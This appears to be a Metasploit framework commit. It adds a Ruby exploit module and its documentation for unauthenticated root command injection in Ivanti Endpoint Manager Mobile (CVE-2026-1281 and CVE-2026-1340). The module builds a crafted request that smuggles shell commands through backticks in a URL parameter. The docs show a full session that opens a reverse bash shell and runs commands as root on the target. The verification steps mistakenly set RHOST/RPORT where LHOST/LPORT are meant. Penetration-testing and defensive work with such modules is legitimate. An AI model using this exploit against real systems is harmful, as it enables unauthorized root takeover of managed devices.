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add in a module and docs fo rteh EPMM exploit

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sfewer-r7
2026-02-05 12:26:38 +00:00
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documentation/modules/exploit/linux/http/ivanti_epmm_rce.md
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## Vulnerable Application
This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known
as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.
## Testing
The vendor has detailed installation guides [here](https://help.ivanti.com/mi/help/en_us/core/11.x/inst/OnPremiseInstallation/InstallCore.htm).
You can install MobileIron/EPMM as a VM using a ISO file (e.g. `mobileiron-12.5.0.1-13.iso`).
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/ivanti_epmm_rce`
Configure the target:
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>` (If different from the default of 443)
5. `set SSL true` (Or set to false if targeting HTTP)
Configure the payload to execute:
6. `set PAYLOAD cmd/unix/reverse_bash`
7. `set RHOST eth0`
8. `set RPORT 4444`
Run the module:
9. `check`
10. `exploit`
## Scenarios
### Example 1
```
msf > use exploit/linux/http/ivanti_epmm_rce
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/ivanti_epmm_rce) > set RHOST 192.168.86.103
RHOST => 192.168.86.103
msf exploit(linux/http/ivanti_epmm_rce) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/ivanti_epmm_rce) > show options
Module options (exploit/linux/http/ivanti_epmm_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h
RHOSTS 192.168.86.103 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST eth0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf exploit(linux/http/ivanti_epmm_rce) > check
[+] 192.168.86.103:443 - The target is vulnerable. Detected Ivanti MobileIron version 11.2
msf exploit(linux/http/ivanti_epmm_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Detected Ivanti MobileIron version 11.2
[*] Command shell session 1 opened (192.168.86.122:4444 -> 192.168.86.103:48404) at 2026-02-05 12:15:07 +0000
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux mobileiron.fritz.box 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
pwd
/mi/bin
cat /mi/release
VSP 11.2.0.0 Build 31 (Branch core-11.2.0.0)
```
modules/exploits/linux/http/ivanti_epmm_rce.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE',
'Description' => %q{
This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known
as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device.
},
'License' => MSF_LICENSE,
'Author' => [
'watchTowr', # Original analysis and PoC
'sfewer-r7' # MSF module
],
'References' => [
['CVE', '2026-1281'],
['CVE', '2026-1340'],
# Vendor advisory
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
# Vendor guidance
['URL', 'https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'],
# Technical analysis & PoC
['URL', 'https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/']
],
'DisclosureDate' => '2026-01-29',
'Privileged' => true, # Executes as root.
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [
[
# Successfully tested with the following payloads against MobileIron 11.2:
# cmd/unix/reverse_bash
# cmd/unix/reverse_netcat
# NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions.
'Default', {
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])])
end
def check
res_ver = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mifs', 'user', 'login.jsp')
)
return CheckCode::Unknown('Connection to /mifs/user/login.jsp failed') unless res_ver
return CheckCode::Unknown("Unexpected /mifs/user/login.jsp response code #{res_ver.code}") unless res_ver.code == 200
ver_match = res_ver.body.match(/ui\.login\.css\?([\d.]+)"/)
return CheckCode::Unknown('Failed to version match on ui.login.css') unless ver_match
product_name = 'EPMM'
# Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4.
if Rex::Version.new(ver_match[1]) < Rex::Version.new('11.4.0.0')
product_name = 'MobileIron'
end
version_string = "Detected Ivanti #{product_name} version #{ver_match[1]}"
sleep_seconds = rand(4..8)
begin_time = Time.now
# We use proof-of-execution in the form of a delay to confirm if a target is vulnerable.
res = execute_cmd("sleep #{sleep_seconds}")
end_time = Time.now
return CheckCode::Unknown("#{version_string}. Connection failed") unless res
if (end_time - begin_time) < sleep_seconds
return CheckCode::Safe(version_string)
end
CheckCode::Vulnerable(version_string)
end
def exploit
execute_cmd(payload.encoded)
end
def execute_cmd(cmd)
elements = {
'kid' => rand(32),
'st' => 'theValue'.ljust(10),
'et' => (Time.now + + (60 * 60 * rand(24))).to_i,
'h' => "gPath[`#{cmd}`]"
}
hash = 'sha256:'
hash += elements.map { |k, v| "#{k}=#{Rex::Text.uri_encode(v.to_s, 'hex-noslashes')}" }.join(',')
vprint_status("hash: #{hash}")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(
target_uri.path,
'mifs',
'c',
'appstore',
'fob',
'3',
rand(1024).to_s,
hash,
"#{SecureRandom.uuid}.ipa"
)
)
end
end